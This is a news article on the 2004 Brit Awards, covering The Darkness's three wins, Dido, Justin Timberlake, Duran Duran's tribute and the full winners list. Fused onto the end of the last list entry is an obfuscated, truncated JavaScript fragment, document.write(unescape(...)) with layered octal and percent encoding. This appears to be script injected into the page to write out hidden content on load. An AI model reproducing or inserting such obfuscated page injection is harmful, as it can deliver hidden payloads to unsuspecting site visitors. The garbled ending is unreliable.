The Darkness Brit winners

The Darkness were three-time winners at Tuesday's Brit Awards ceremony in London. The instant classic rockers won Best Album (for their debut, Permission to Land), Best British Group and Best British Rock Act, a category introduced this year.

"Apparently they've created this category especially for us," said frontman Justin Hawkins in his acceptance speech. "Thank you to our parents for bestowing on us the gift of rock."

Dido nabbed two trophys (Best British Single for "White Flag" and Best British Female Solo Artist) despite not attending the awards. American pop star Justin Timberlake was only eligible in the International categories but he made the most of them, winning Best International Album (Justified) and Best International Male. "Wow!" he exclaimed, upon winning the latter. "My first Brit. I'm honoured . . . I toured here last year way too long and I thank you guys for having me and I look forward to what's in store for the future."

Timberlake later presented Duran Duran with the Outstanding Contribution to Music, leading the tribute by saying, "I can only hope I'll still be cutting it the way they do, in twenty years."

Duran Duran singer Simon LeBon took the first turn on the mike for the reunited five-piece. "The man you see in front of you owes [a great debt to] the people and artists who inspired us to create music of our own," he said. "By presenting us with this award tonight you validate us along with presenting us with a place alongside those who first inspired us."

The show's live performances echoed the recent Grammy Awards with OutKast doing "Hey Ya" and Beyonce's doing "Crazy in Love" -- however, this time she was joined by a male dancer who flashed his Union Jack boxers. Alicia Keys, Gwen Stefani and Missy Elliott teamed for Prince's "Kiss," and, fittingly, the Darkness closed the show with their U.S. hit "I Believe in a Thing Called Love" and "Growing on Me."

The 2004 Brit Awards winners:

British Male Solo Artist: Daniel Bedingfield
British Female Solo Artist: Dido
British Album: Permission to Land, the Darkness
British Group: The Darkness
British Single: "White Flag," Dido
British Rock Act: The Darkness
British Urban Act: Lemar
British Dance Act: Basement Jaxx
British Breakthrough Artist: Busted
Pop Act: Busted
Inernational Male Solo Artist: Justin Timberlake
International Female Solo Artist: Beyonce
International Album: Justified, Justin Timberlake
International Group: The White Stripes
International Breakthrough Artists: 50 Cent
Outstanding Contribution to Music: Duran Durandocument.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;